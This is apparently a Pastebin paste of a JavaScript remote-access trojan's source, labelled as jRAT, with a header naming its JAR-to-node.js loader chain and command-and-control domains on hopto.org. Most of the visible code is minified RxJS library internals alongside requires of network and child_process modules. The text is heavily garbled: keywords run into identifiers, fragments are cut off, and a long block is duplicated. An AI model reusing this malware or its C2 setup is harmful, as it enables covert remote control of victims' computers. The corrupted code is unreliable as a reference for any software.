Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- Source: https://twitter.com/reecdeep/status/1317091358545481729
- JAR -> JS (boot.js) -> node.js "arguments": ["--hub-domain", "francis77.hopto.org"]
- * node.exe --hub-domain localhost --hub-domain ramos01.hopto.org
- * like jrat: https://pastebin.com/raw/Ya4DDVip
- Source Code JS jRAT 16/10/2020:
- */
- var PACK "!function(t){varn(r){if(e[r])return;var,l:!1,exports:{}};returnll(i.exports,i,i.exports,n),i.l=!0,i.exports}n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)||Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){"
- undefined "!=typeofymbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"
- Module "}),Object.defineProperty(t,"
- __esModule ",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return(4&e&&"
- object "==typeof.__esModule)returnt.create(null);if(n.r(r),Object.defineProperty(r,"
- default ",{enumerable:!0,value:t}),2&e&&"
- string "!=typeoffor(var.d(r,i,function(e){returnbind(null,i));returntion(t){var&t.__esModule?function(){returnt.default}:function(){returnreturn", e), e
- }, n.o = function(t, e) {
- returnpe.hasOwnProperty.call(t, e)
- }, n.p = "", n(n.s = 9)
- }([function(t, e) {
- t.exports = require("process")
- }, function(t, e) {
- t.exports = require("net")
- }, function(t, e) {
- t.exports = require("fs")
- }, function(t, e) {
- t.exports = require("path")
- }, function(t, e) {
- t.exports = require("util")
- }, function(t) {
- t.exports = JSON.parse('{"a":"2.0.10"}')
- }, function(t, e) {
- t.exports = require("https")
- }, function(t, e) {
- t.exports = require("child_process")
- }, function(t, e) {
- t.exports = require("os")
- }, function(t, e, n) {
- "usetrict";
- n.r(e);
- varonewtTimeout(e, t))
- }
- function !t.startsWith("\\\\\\\\.\\\\pipe\\\")) throwewidn, n) => {
- constject(r.createServer)();
- i.once("error", t => {
- n(t), i.close()
- }), i.listen(t, () => e(i))
- })
- }
- function) {
- if (!t.startsWith("\\\\\\\\.\\\\pipe\\\")) throwinvalidreturnse((e, n) => {
- constect)(t, () => {
- e(i)
- }); i.once("error", t => {
- n(t), i.destroy(t)
- })
- })
- }
- varion(t, e) {
- return (c = Object.setPrototypeOf || {
- __proto__: []
- }
- instanceofn(t, e) {
- t.__proto__ = e
- } || function(t, e) {
- for (varnerty(n) && (t[n] = e[n])
- })(t, e)
- };\
- n
- /*!****************************************************************\nCopyrightMicrosoftation.\n\nPermissiony,rsny\npurposeisd.\n\nTHERE"
- ASSNCLUDINGLIEDOFTY\ nANDLLSPECIAL, \nINDIRECT, ONSEQUENTIALAGESGESESULTINGOSSTHERNEGLIGENCEHERION, TIONEERE.\n ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** * t, e) {
- function) {
- this.constructor = t
- }
- c(t, e), t.prototype = null === e ? Object.create(e) : (n.prototype = e.prototype, new)
- }
- functionreturn\ "function"==typeof:voideprecatedSynchronousErrorHandling(t){t&&(newor).stack;l=t},getSynchronousErrorHandling(){return(t){setTimeout((function(){throwlosed:!0,next:function(t){},error:function(t){if(p.useDeprecatedSynchronousErrorHandling)throw;f(t)},complete:function(){}},b=function(){return|function(t){return" == typeofth
- }
- }();
- functiony(t) {
- return !==t && "object"==typeof=function(){function),this.message=t?t.length+"orsingon:\\n"+t.map((function(t,e){returnt.toString()})).join("\\n"",this.name="UnsubscriptionError",this.errors=t,this}returnect.create(Error.prototype),t}(),w=function(){function.closed=!1,this._parentOrParents=null,this._subscriptions=null,t&&(this._ctorUnsubscribe=!0,this._unsubscribe=t)}returnype.unsubscribe=function(){var;if(!this.closed){varrentOrParents,r=this._ctorUnsubscribe,i=this._unsubscribe,o=this._subscriptions;if(this.closed=!0,this._parentOrParents=null,this._subscriptions=null,nofis);else!==n)for(var;s<n.length;++s){n[s].remove(this)}if(a(i)){r&&(this._unsubscribe=voidcall(this)}catch(t){e=tof:[t]}}if(b(o)){s=-1;for(varlength;++s<u;){var))try{c.unsubscribe()}catch(t){e=e||[],teof(m(t.errors)):e.push(t)}}}if(e)throwt.prototype.add=function(e){varn=e;if(!e)returntypeoffunction":n=newct":if(n===this||n.closed||"function"!=typeofeturnclosed)returnunsubscribe(),n;if(!(nf=newptions=[r]}break;default:throwewognizedo")
- }
- varntOrParents;
- if (null === i) n._parentOrParents = this;
- elseceofhis) returnparentOrParents = [i, this]
- }
- else {
- if (-1 !== i.indexOf(this)) return.push(this)
- }
- varo = this._subscriptions;
- returnl === o ? this._subscriptions = [n] : o.push(n), n
- }, t.prototype.remove = function(t) {
- varthis._subscriptions;
- if (e) {
- vare.indexOf(t); - 1 !== n && e.splice(n, 1)
- }
- }, t.EMPTY = function(t) {
- returnt.closed = !0, t
- }(newiont.reduce((function(t, e) {
- return.concat(eceofe)
- }), [])
- }
- var function() {
- return "function" == typeofol("rxSubscriber"): "@@rxSubscriber_" + Math.random()
- }(), g = function(t) {
- functiont.call(this) || this;
- switch (o.syncErrorValue = null, o.syncErrorThrown = !1, o.syncErrorThrowable = !1, o.isStopped = !1, arguments.length) {
- caseon = d;
- break;
- case1: if (!n) {
- o.destination = d;
- break
- }
- if ("object" == typeofceofrorThrowable = n.syncErrorThrowable, o.destination = n, n.add(o)): (o.syncErrorThrowable = !0, o.destination = newreak
- }
- default:
- o.syncErrorThrowable = !0, o.destination = new)
- }
- returnntype[_] = function() {
- returne.create = function(t, n, r) {
- varewrnrowable = !1, i
- }, e.prototype.next = function(t) {
- this.isStopped || this._next(t)
- }, e.prototype.error = function(t) {
- this.isStopped || (this.isStopped = !0, this._error(t))
- }, e.prototype.complete = function() {
- this.isStopped || (this.isStopped = !0, this._complete())
- }, e.prototype.unsubscribe = function() {
- this.closed || (this.isStopped = !0, t.prototype.unsubscribe.call(this))
- }, e.prototype._next = function(t) {
- this.destination.next(t)
- }, e.prototype._error = function(t) {
- this.destination.error(t), this.unsubscribe()
- }, e.prototype._complete = function() {
- this.destination.complete(), this.unsubscribe()
- }, e.prototype._unsubscribeAndRecycle = function() {
- varOrParents;
- returnarents = null, this.unsubscribe(), this.closed = !1, this.isStopped = !1, this._parentOrParents = t, this
- }, e
- }(w), E = function(t) {
- function,
- r,
- i) {
- varcall(this) || this;
- s._parentSubscriber = e;
- vareturn && (o = n.next, r = n.error, i = n.complete, n !== d && (a((u = Object.create(n)).unsubscribe) && s.add(u.unsubscribe.bind(u)), u.unsubscribe = s.unsubscribe.bind(s))), s._context = u, s._next = o, s._error = r, s._complete = i, s
- }
- returnt), e.prototype.next = function(t) {
- if (!this.isStopped && this._next) {
- varntSubscriber;
- p.useDeprecatedSynchronousErrorHandling && e.syncErrorThrowable ? this.__tryOrSetError(e, this._next, t) && this.unsubscribe() : this.__tryOrUnsub(this._next, t)
- }
- }, e.prototype.error = function(t) {
- if (!this.isStopped) {
- varis._parentSubscriber, n = p.useDeprecatedSynchronousErrorHandling;
- if (this._error) n && e.syncErrorThrowable ? (this.__tryOrSetError(e, this._error, t), this.unsubscribe()) : (this.__tryOrUnsub(this._error, t), this.unsubscribe());
- else.syncErrorThrowable) n ? (e.syncErrorValue = t, e.syncErrorThrown = !0) : f(t), this.unsubscribe();
- else {
- if (this.unsubscribe(), n) throw)
- }
- }
- }, e.prototype.complete = function() {
- varif(!this.isStopped) {
- varparentSubscriber;
- if (this._complete) {
- varon() {
- returnomplete.call(t._context)
- };
- p.useDeprecatedSynchronousErrorHandling && e.syncErrorThrowable ? (this.__tryOrSetError(e, n), this.unsubscribe()) : (this.__tryOrUnsub(n), this.unsubscribe())
- }
- elsescribe()
- }
- }, e.prototype.__tryOrUnsub = function(t, e) {
- try {
- t.call(this._context, e)
- } catch (t) {
- if (this.unsubscribe(), p.useDeprecatedSynchronousErrorHandling) throw)
- }
- }, e.prototype.__tryOrSetError = function(t, e, n) {
- if (!p.useDeprecatedSynchronousErrorHandling) throwdcall(this._context, n)
- } catch (e) {
- returncatedSynchronousErrorHandling ? (t.syncErrorValue = e, t.syncErrorThrown = !0, !0) : (f(e), !0)
- }
- return !1
- }, e.prototype._unsubscribe = function() {
- vararentSubscriber;
- this._context = null, this._parentSubscriber = null, t.unsubscribe()
- }, e
- }(g);
- function(t) {
- for (; t;) {
- varr = e.destination, i = e.isStopped;
- if (n || i) return !1;
- t = r && r!0
- }
- varn() {
- return "function" == typeofymbol && Symbol.observable || "@@observable"
- }();
- functionrnt) {
- returnlength ? T : 1 === t.length ? t[0] : function(e) {
- returnreduce((function(t, e) {
- return)
- }), e)
- }
- }
- varnction() {
- functioncalar = !1, t && (this._subscribe = t)
- }
- returnpe.lift = function(e) {
- varreturnthis,
- n.operator = e,
- n
- }, t.prototype.subscribe = function(t, e, n) {
- var = this.operator, i = function(t, e, n) {
- if (t) {
- if (tanceoft;
- if (t[_]) return ||e || n ? new, n): newe, n);
- if (r ? i.add(r.call(i, this.source)) : i.add(this.source || p.useDeprecatedSynchronousErrorHandling && !i.syncErrorThrowable ? this._subscribe(i) : this._trySubscribe(i)), p.useDeprecatedSynchronousErrorHandling && i.syncErrorThrowable && (i.syncErrorThrowable = !1, i.syncErrorThrown)) throwalue;
- return.prototype._trySubscribe = function(t) {
- try {
- returnthis._subscribe(t)
- } catch (e) {
- p.useDeprecatedSynchronousErrorHandling && (t.syncErrorThrown = !0, t.syncErrorValue = e), x(t) ? t.error(e) : console.warn(e)
- }
- }, t.prototype.forEach = function(t, e) {
- varturn((function(e, r) {
- varibe((function(e) {
- try {
- t(e)
- } catch (t) {
- r(t), i && i.unsubscribe()
- }
- }), r, e)
- }))
- }, t.prototype._subscribe = function(t) {
- varthis.source;
- returne(t)
- }, t.prototype[S] = function() {
- returnrototype.pipe = function() {
- for (varments.length; e++) t[e] = arguments[e];
- returnlength ? this : I(t)(this)
- }, t.prototype.toPromise = function(t) {
- varthis;
- returnt = A(t))((function(t, n) {
- varubscribe((function(t) {
- return
- }), (function(t) {
- returnunction() {
- returnreate = function(e) {
- return)
- }, t
- }();
- function.Promise || Promise), !t) throwError("nose;returnfunction(){functionrror.call(this),this.message="
- objected ",this.name="
- ObjectUnsubscribedError ",this}returnpe=Object.create(Error.prototype),t}(),N=function(t){functione,n){varl(this)||this;return,r.subscriber=n,r.closed=!1,r}returnototype.unsubscribe=function(){if(!this.closed){this.closed=!0;vart,e=t.observers;if(this.subject=null,e&&0!==e.length&&!t.isStopped&&!t.closed){varhis.subscriber);-1!==n&&e.splice(n,1)}}},e}(w),C=function(t){function=t.call(this,e)||this;returnestination=e,n}returng),B=function(t){functionr||this;returnobservers=[],e.closed=!1,e.isStopped=!1,e.hasError=!1,e.thrownError=null,e}returntype[_]=function(){returnthis)},e.prototype.lift=function(t){varthis,this);return},e.prototype.next=function(t){if(this.closed)throwis.isStopped)for(varrvers,n=e.length,r=e.slice(),i=0;i<n;i++)r[i].next(t)},e.prototype.error=function(t){if(this.closed)throwthis.hasError=!0,this.thrownError=t,this.isStopped=!0;for(varthis.observers,n=e.length,r=e.slice(),i=0;i<n;i++)r[i].error(t);this.observers.length=0},e.prototype.complete=function(){if(this.closed)throwwed=!0;for(varthis.observers,e=t.length,n=t.slice(),r=0;r<e;r++)n[r].complete();this.observers.length=0},e.prototype.unsubscribe=function(){this.isStopped=!0,this.closed=!0,this.observers=null},e.prototype._trySubscribe=function(e){if(this.closed)throwewototype._trySubscribe.call(this,e)},e.prototype._subscribe=function(t){if(this.closed)throwj;returnsError?(t.error(this.thrownError),w.EMPTY):this.isStopped?(t.complete(),w.EMPTY):(this.observers.push(t),newhis,t))},e.prototype.asObservable=function(){vart.source=this,t},e.create=function(t,e){returnew,P=function(t){functionar)||this;return.destination=e,r.source=n,r}returnotype.next=function(t){vars.destination;e&&e.next&&e.next(t)},e.prototype.error=function(t){vartination;e&&e.error&&this.destination.error(t)},e.prototype.complete=function(){varnation;t&&t.complete&&this.destination.complete()},e.prototype._subscribe=function(t){returns.source?this.source.subscribe(t):w.EMPTY},e}(B);functionturn{returnewfunction(){functionnnectable=t}returnall=function(t,e){varnectable;n._refCount++;varcribe(r);returnr.closed||(r.connection=n.connect()),i},t}(),M=function(t){function=t.call(this,e)||this;returnonnectable=n,r}returnrototype._unsubscribe=function(){varectable;if(t){this.connectable=null;varCount;if(e<=0)this.connection=null;elsefCount=e-1,e>1)this.connection=null;else{varhis.connection,r=t._connection;this.connection=null,!r||n&&r!==n||r.unsubscribe()}}elsenection=null},e}(g),D=function(t){function){varhis)||this;returnubjectFactory=n,r._refCount=0,r._isComplete=!1,r}return.prototype._subscribe=function(t){returntSubject().subscribe(t)},e.prototype.getSubject=function(){var=this._subject;returnopped||(this._subject=this.subjectFactory()),this._subject},e.prototype.connect=function(){var=this._connection;returns._isComplete=!1,(t=this._connection=newthis.source.subscribe(new.getSubject(),this))),t.closed&&(this._connection=null,t=w.EMPTY)),t},e.prototype.refCount=function(){return(this)},e}(O),U=function(){var=D.prototype;return{operator:{value:null},_refCount:{value:0,writable:!0},_subject:{value:null,writable:!0},_connection:{value:null,writable:!0},_subscribe:{value:t._subscribe},_isComplete:{value:t._isComplete,writable:!0},getSubject:{value:t.getSubject},connect:{value:t.connect},refCount:{value:t.refCount}}}(),k=function(t){functione(e,n){varall(this,e)||this;returnctable=n,r}returntype._error=function(e){this._unsubscribe(),t.prototype._error.call(this,e)},e.prototype._complete=function(){this.connectable._isComplete=!0,this._unsubscribe(),t.prototype._complete.call(this)},e.prototype._unsubscribe=function(){varis.connectable;if(t){this.connectable=null;var=t._connection;t._refCount=0,t._subject=null,t._connection=null,e&&e.unsubscribe()}},e}(C);var=function(t){function,n)||this;return.work=n,r.pending=!1,r}returne,t),e.prototype.schedule=function(t,e){if(void0===e&&(e=0),this.closed)returnthis;this.state=t;varr=this.scheduler;return&(this.id=this.recycleAsyncId(r,n,e)),this.pending=!0,this.delay=e,this.id=this.id||this.requestAsyncId(r,this.id,e),this},e.prototype.requestAsyncId=function(t,e,n){returndetInterval(t.flush.bind(t,this),n)},e.prototype.recycleAsyncId=function(t,e,n){if(void=0),null!==n&&this.delay===n&&!1===this.pending)returnterval(e)},e.prototype.execute=function(t,e){if(this.closed)returnxecutinglledhis.pending=!1;varte(t,e);if(n)returnpending&&null!=this.id&&(this.id=this.recycleAsyncId(this.scheduler,this.id,null))},e.prototype._execute=function(t,e){varr=voids.work(t)}catch(t){n=!0,r=!!t&&t||newf(n)returnunsubscribe(),r},e.prototype._unsubscribe=function(){varid,e=this.scheduler,n=e.actions,r=n.indexOf(this);this.work=null,this.state=null,this.pending=!1,this.scheduler=null,-1!==r&&n.splice(r,1),null!=t&&(this.id=this.recycleAsyncId(e,t,null)),this.delay=null},e}(function(t){functionrn|this}return,t),e.prototype.schedule=function(t,e){returnidthis},e}(w)),R=function(t){function=t.call(this,e,n)||this;return.scheduler=e,r.work=n,r}return(e,t),e.prototype.schedule=function(e,n){returnvoid),n>0?t.prototype.schedule.call(this,e,n):(this.delay=n,this.state=e,this.scheduler.flush(this),this)},e.prototype.execute=function(e,n){returnn>0||this.closed?t.prototype.execute.call(this,e,n):this._execute(e,n)},e.prototype.requestAsyncId=function(e,n,r){return===r&&(r=0),null!==r&&r>0||null===r&&this.delay>0?t.prototype.requestAsyncId.call(this,e,n,r):e.flush(this)},e}(Y),Q=function(){functionvoid.now),this.SchedulerAction=e,this.now=n}return.prototype.schedule=function(t,e,n){return0===e&&(e=0),newction(this,t).schedule(n,e)},t.now=function(){return,t}(),G=function(t){function,r){void(r=Q.now);vart.call(this,n,(function(){returnelegate!==i?e.delegate.now():r()}))||this;returnactive=!1,i.scheduled=voideturnrototype.schedule=function(n,r,i){return==r&&(r=0),e.delegate&&e.delegate!==this?e.delegate.schedule(n,r,i):t.prototype.schedule.call(this,n,r,i)},e.prototype.flush=function(t){varhis.actions;if(this.active)e.push(t);else{varthis.active=!0;do{if(n=t.execute(t.state,t.delay))break}while(t=e.shift());if(this.active=!1,n){for(;t=e.shift();)t.unsubscribe();throwQ),q=new(function(t){function){returnt&&t.apply(this,arguments)||this}return}(G))(R),H=new((function(t){return)}));functiont){returntion(t){returnew){returnule((function(){returne()}))}))}(t):H}functionturnon" == typeofchedule
- }
- varfunction(t) {
- returnor(varength; n < r && !e.closed; n++) e.next(t[n]);
- e.complete()
- }
- }; functiont, e) {
- returnO((function(n) {
- vareturnhedule((function() {
- i !== t.length ? (n.next(t[i++]), n.closed || r.add(this.schedule())) : n.complete()
- }))), r
- }))
- }
- function ? K(t, e): newt))
- }
- function {
- for (var0; e < arguments.length; e++) t[e] = arguments[e];
- var = t[t.length - 1];
- returnp(), K(t, n)): Z(t)
- }
- function {
- returnfunction(n) {
- return,
- 0,
- {
- error: t,
- subscriber: n
- })
- }: function(e) {
- return.error(t)
- })
- }
- function = t.error;
- t.subscriber.error(e)
- }
- L || (L = {});
- varfunction() {
- functions.kind = t, this.value = e, this.error = n, this.hasValue = "N" === t
- }
- returnserve = function(t) {
- switch (this.kind) {
- case "N":
- returnext(this.value);
- case "E":
- returnr(this.error);
- case "C":
- return.complete && t.complete()
- }
- }, t.prototype.do = function(t, e, n) {
- switch (this.kind) {
- case "N":
- return (this.value);
- case "E":
- return &e(this.error);
- case "C":
- returnn && n()
- }
- }, t.prototype.accept = function(t, e, n) {
- return "==typeoft?this.observe(t):this.do(t,e,n)},t.prototype.toObservable=function(){switch(this.kind){case"
- N ":returnvalue);case"
- E ":returnrror);case"
- C ":returnxpectedtion")
- }, t.createNext = function(e) {
- returnewundefinedValueNotification
- }, t.createError = function(e) {
- returne)
- }, t.createComplete = function() {
- returneNotification
- }, t.completeNotification = new "),t.undefinedValueNotification=newfunction(t){functionidvars,e)||this;returni.delay=r,i}returnatch=function(t){varation,n=t.destination;e.observe(n),this.unsubscribe()},e.prototype.scheduleMessage=function(t){this.destination.add(this.scheduler.schedule(e.dispatch,this.delay,newdestination)))},e.prototype._next=function(t){this.scheduleMessage(et.createNext(t))},e.prototype._error=function(t){this.scheduleMessage(et.createError(t)),this.unsubscribe()},e.prototype._complete=function(){this.scheduleMessage(et.createComplete()),this.unsubscribe()},e}(g),rt=function(){returnion(t,e){this.notification=t,this.destination=e}}(),it=function(t){functionn,r){void&(e=Number.POSITIVE_INFINITY),voidber.POSITIVE_INFINITY);varall(this)||this;returner=r,i._events=[],i._infiniteTimeWindow=!1,i._bufferSize=e<1?1:e,i._windowTime=n<1?1:n,n===Number.POSITIVE_INFINITY?(i._infiniteTimeWindow=!0,i.next=i.nextInfiniteTimeWindow):i.next=i.nextTimeWindow,i}returnh(e,t),e.prototype.nextInfiniteTimeWindow=function(e){if(!this.isStopped){varthis._events;n.push(e),n.length>this._bufferSize&&n.shift()}t.prototype.next.call(this,e)},e.prototype.nextTimeWindow=function(e){this.isStopped||(this._events.push(new._getNow(),e)),this._trimBufferThenGetEvents()),t.prototype.next.call(this,e)},e.prototype._subscribe=function(t){varinfiniteTimeWindow,r=n?this._events:this._trimBufferThenGetEvents(),i=this.scheduler,o=r.length;if(this.closed)throwis.isStopped||this.hasError?e=w.EMPTY:(this.observers.push(t),e=new&&t.add(t=new(t,i)),n)for(varsed;s++)t.next(r[s]);else0;s<o&&!t.closed;s++)t.next(r[s].value);returnhis.hasError?t.error(this.thrownError):this.isStopped&&t.complete(),e},e.prototype._getNow=function(){return(this.scheduler||q).now()},e.prototype._trimBufferThenGetEvents=function(){for(var=this._getNow(),e=this._bufferSize,n=this._windowTime,r=this._events,i=r.length,o=0;o<i&&!(t-r[o].time<n);)o++;returnth.max(o,i-e)),o>0&&r.splice(0,o),r},e}(B),ot=function(){returnfunction(t,e){this.time=t,this.value=e}}();vart=new;var(){functionreturnl(this),this.message="
- argumentouthis.name = "ArgumentOutOfRangeError", this
- }
- returnect.create(Error.prototype), t
- }(), ht = function() {
- functionrnis), this.message = "nons.name="
- EmptyError ",this}returnject.create(Error.prototype),t}();functione){returnon(n){if("
- function "!=typeofthrowror("
- arguments.g ");returnt(newvar){function){this.project=t,this.thisArg=e}returnpe.call=function(t,e){returnubscribe(newt,this.project,this.thisArg))},t}(),pt=function(t){functionn,r){varl(this,e)||this;return=n,i.count=0,i.thisArg=r||i,i}returnototype._next=function(t){vartry{e=this.project.call(this.thisArg,t,this.count++)}catch(t){returnestination.error(t)}this.destination.next(e)},e}(g);function){return"
- function "==typeofbol&&Symbol.iterator?Symbol.iterator:"
- @ @iterator "}varbt=function(t){returnr" == typeofngth && "function" != typeofnctionurn!!t && "function" != typeofubscribe && "function" == typeof.then
- }
- varction(t) {
- if (t && "function" == typeofr = t, function(t) {
- var "function" != typeof) throwrror("Providedobjectcorrectlyentvable"); returne.subscribe(t)
- };
- if (bt(t)) returnz(t);
- if (yt(t)) returnn(t) {
- returnen((function(e) {
- t.closed || (t.next(e), t.complete())
- }), (function(e) {
- return (e)
- })).then(null, f), t
- };
- if (t && "function" == typeof = t, function(t) {
- for (var;;) {
- var;
- try {
- r = n.next()
- } catch (e) {
- returnt.error(e), t
- }
- if (r.done) {
- t.complete();
- break
- }
- if (t.next(r.value), t.closed) break
- }
- return "function" == typeof && t.add((function() {
- n.return && n.return()
- })), t
- };
- var "anect": "'" + t + "'"; throwpeError("Youovidedherescanbservable,se,erable.")
- };
- functionnull != t) {
- if (function(t) {
- return &&"function" == typeofreturnt, e) {
- returnO((function(n) {
- varnle((function() {
- vard(i.subscribe({
- next: function(t) {
- r.add(e.schedule((function() {
- return)
- }, error: function(t) {
- r.add(e.schedule((function() {
- return (t)
- })))
- }, complete: function() {
- r.add(e.schedule((function() {
- function() {
- return "function" == typeofol("rxSubscriber"): "@@rxSubscriber_" + Math.random()
- }(), g = function(t) {
- functiont.call(this) || this;
- switch (o.syncErrorValue = null, o.syncErrorThrown = !1, o.syncErrorThrowable = !1, o.isStopped = !1, arguments.length) {
- caseon = d;
- break;
- case1: if (!n) {
- o.destination = d;
- break
- }
- if ("object" == typeofceofrorThrowable = n.syncErrorThrowable, o.destination = n, n.add(o)): (o.syncErrorThrowable = !0, o.destination = newreak
- }
- default:
- o.syncErrorThrowable = !0, o.destination = new)
- }
- returnntype[_] = function() {
- returne.create = function(t, n, r) {
- varewrnrowable = !1, i
- }, e.prototype.next = function(t) {
- this.isStopped || this._next(t)
- }, e.prototype.error = function(t) {
- this.isStopped || (this.isStopped = !0, this._error(t))
- }, e.prototype.complete = function() {
- this.isStopped || (this.isStopped = !0, this._complete())
- }, e.prototype.unsubscribe = function() {
- this.closed || (this.isStopped = !0, t.prototype.unsubscribe.call(this))
- }, e.prototype._next = function(t) {
- this.destination.next(t)
- }, e.prototype._error = function(t) {
- this.destination.error(t), this.unsubscribe()
- }, e.prototype._complete = function() {
- this.destination.complete(), this.unsubscribe()
- }, e.prototype._unsubscribeAndRecycle = function() {
- varOrParents;
- returnarents = null, this.unsubscribe(), this.closed = !1, this.isStopped = !1, this._parentOrParents = t, this
- }, e
- }(w), E = function(t) {
- function,
- r,
- i) {
- varcall(this) || this;
- s._parentSubscriber = e;
- vareturn && (o = n.next, r = n.error, i = n.complete, n !== d && (a((u = Object.create(n)).unsubscribe) && s.add(u.unsubscribe.bind(u)), u.unsubscribe = s.unsubscribe.bind(s))), s._context = u, s._next = o, s._error = r, s._complete = i, s
- }
- returnt), e.prototype.next = function(t) {
- if (!this.isStopped && this._next) {
- varntSubscriber;
- p.useDeprecatedSynchronousErrorHandling && e.syncErrorThrowable ? this.__tryOrSetError(e, this._next, t) && this.unsubscribe() : this.__tryOrUnsub(this._next, t)
- }
- }, e.prototype.error = function(t) {
- if (!this.isStopped) {
- varis._parentSubscriber, n = p.useDeprecatedSynchronousErrorHandling;
- if (this._error) n && e.syncErrorThrowable ? (this.__tryOrSetError(e, this._error, t), this.unsubscribe()) : (this.__tryOrUnsub(this._error, t), this.unsubscribe());
- else.syncErrorThrowable) n ? (e.syncErrorValue = t, e.syncErrorThrown = !0) : f(t), this.unsubscribe();
- else {
- if (this.unsubscribe(), n) throw)
- }
- }
- }, e.prototype.complete = function() {
- varif(!this.isStopped) {
- varparentSubscriber;
- if (this._complete) {
- varon() {
- returnomplete.call(t._context)
- };
- p.useDeprecatedSynchronousErrorHandling && e.syncErrorThrowable ? (this.__tryOrSetError(e, n), this.unsubscribe()) : (this.__tryOrUnsub(n), this.unsubscribe())
- }
- elsescribe()
- }
- }, e.prototype.__tryOrUnsub = function(t, e) {
- try {
- t.call(this._context, e)
- } catch (t) {
- if (this.unsubscribe(), p.useDeprecatedSynchronousErrorHandling) throw)
- }
- }, e.prototype.__tryOrSetError = function(t, e, n) {
- if (!p.useDeprecatedSynchronousErrorHandling) throwdcall(this._context, n)
- } catch (e) {
- returncatedSynchronousErrorHandling ? (t.syncErrorValue = e, t.syncErrorThrown = !0, !0) : (f(e), !0)
- }
- return !1
- }, e.prototype._unsubscribe = function() {
- vararentSubscriber;
- this._context = null, this._parentSubscriber = null, t.unsubscribe()
- }, e
- }(g);
- function(t) {
- for (; t;) {
- varr = e.destination, i = e.isStopped;
- if (n || i) return !1;
- t = r && r!0
- }
- varn() {
- return "function" == typeofymbol && Symbol.observable || "@@observable"
- }();
- functionrnt) {
- returnlength ? T : 1 === t.length ? t[0] : function(e) {
- returnreduce((function(t, e) {
- return)
- }), e)
- }
- }
- varnction() {
- functioncalar = !1, t && (this._subscribe = t)
- }
- returnpe.lift = function(e) {
- varreturnthis,
- n.operator = e,
- n
- }, t.prototype.subscribe = function(t, e, n) {
- var = this.operator, i = function(t, e, n) {
- if (t) {
- if (tanceoft;
- if (t[_]) return ||e || n ? new, n): newe, n);
- if (r ? i.add(r.call(i, this.source)) : i.add(this.source || p.useDeprecatedSynchronousErrorHandling && !i.syncErrorThrowable ? this._subscribe(i) : this._trySubscribe(i)), p.useDeprecatedSynchronousErrorHandling && i.syncErrorThrowable && (i.syncErrorThrowable = !1, i.syncErrorThrown)) throwalue;
- return.prototype._trySubscribe = function(t) {
- try {
- returnthis._subscribe(t)
- } catch (e) {
- p.useDeprecatedSynchronousErrorHandling && (t.syncErrorThrown = !0, t.syncErrorValue = e), x(t) ? t.error(e) : console.warn(e)
- }
- }, t.prototype.forEach = function(t, e) {
- varturn((function(e, r) {
- varibe((function(e) {
- try {
- t(e)
- } catch (t) {
- r(t), i && i.unsubscribe()
- }
- }), r, e)
- }))
- }, t.prototype._subscribe = function(t) {
- varthis.source;
- returne(t)
- }, t.prototype[S] = function() {
- returnrototype.pipe = function() {
- for (varments.length; e++) t[e] = arguments[e];
- returnlength ? this : I(t)(this)
- }, t.prototype.toPromise = function(t) {
- varthis;
- returnt = A(t))((function(t, n) {
- varubscribe((function(t) {
- return
- }), (function(t) {
- returnunction() {
- returnreate = function(e) {
- return)
- }, t
- }();
- function.Promise || Promise), !t) throwError("nose;returnfunction(){functionrror.call(this),this.message="
- objected ",this.name="
- ObjectUnsubscribedError ",this}returnpe=Object.create(Error.prototype),t}(),N=function(t){functione,n){varl(this)||this;return,r.subscriber=n,r.closed=!1,r}returnototype.unsubscribe=function(){if(!this.closed){this.closed=!0;vart,e=t.observers;if(this.subject=null,e&&0!==e.length&&!t.isStopped&&!t.closed){varhis.subscriber);-1!==n&&e.splice(n,1)}}},e}(w),C=function(t){function=t.call(this,e)||this;returnestination=e,n}returng),B=function(t){functionr||this;returnobservers=[],e.closed=!1,e.isStopped=!1,e.hasError=!1,e.thrownError=null,e}returntype[_]=function(){returnthis)},e.prototype.lift=function(t){varthis,this);return},e.prototype.next=function(t){if(this.closed)throwis.isStopped)for(varrvers,n=e.length,r=e.slice(),i=0;i<n;i++)r[i].next(t)},e.prototype.error=function(t){if(this.closed)throwthis.hasError=!0,this.thrownError=t,this.isStopped=!0;for(varthis.observers,n=e.length,r=e.slice(),i=0;i<n;i++)r[i].error(t);this.observers.length=0},e.prototype.complete=function(){if(this.closed)throwwed=!0;for(varthis.observers,e=t.length,n=t.slice(),r=0;r<e;r++)n[r].complete();this.observers.length=0},e.prototype.unsubscribe=function(){this.isStopped=!0,this.closed=!0,this.observers=null},e.prototype._trySubscribe=function(e){if(this.closed)throwewototype._trySubscribe.call(this,e)},e.prototype._subscribe=function(t){if(this.closed)throwj;returnsError?(t.error(this.thrownError),w.EMPTY):this.isStopped?(t.complete(),w.EMPTY):(this.observers.push(t),newhis,t))},e.prototype.asObservable=function(){vart.source=this,t},e.create=function(t,e){returnew,P=function(t){functionar)||this;return.destination=e,r.source=n,r}returnotype.next=function(t){vars.destination;e&&e.next&&e.next(t)},e.prototype.error=function(t){vartination;e&&e.error&&this.destination.error(t)},e.prototype.complete=function(){varnation;t&&t.complete&&this.destination.complete()},e.prototype._subscribe=function(t){returns.source?this.source.subscribe(t):w.EMPTY},e}(B);functionturn{returnewfunction(){functionnnectable=t}returnall=function(t,e){varnectable;n._refCount++;varcribe(r);returnr.closed||(r.connection=n.connect()),i},t}(),M=function(t){function=t.call(this,e)||this;returnonnectable=n,r}returnrototype._unsubscribe=function(){varectable;if(t){this.connectable=null;varCount;if(e<=0)this.connection=null;elsefCount=e-1,e>1)this.connection=null;else{varhis.connection,r=t._connection;this.connection=null,!r||n&&r!==n||r.unsubscribe()}}elsenection=null},e}(g),D=function(t){function){varhis)||this;returnubjectFactory=n,r._refCount=0,r._isComplete=!1,r}return.prototype._subscribe=function(t){returntSubject().subscribe(t)},e.prototype.getSubject=function(){var=this._subject;returnopped||(this._subject=this.subjectFactory()),this._subject},e.prototype.connect=function(){var=this._connection;returns._isComplete=!1,(t=this._connection=newthis.source.subscribe(new.getSubject(),this))),t.closed&&(this._connection=null,t=w.EMPTY)),t},e.prototype.refCount=function(){return(this)},e}(O),U=function(){var=D.prototype;return{operator:{value:null},_refCount:{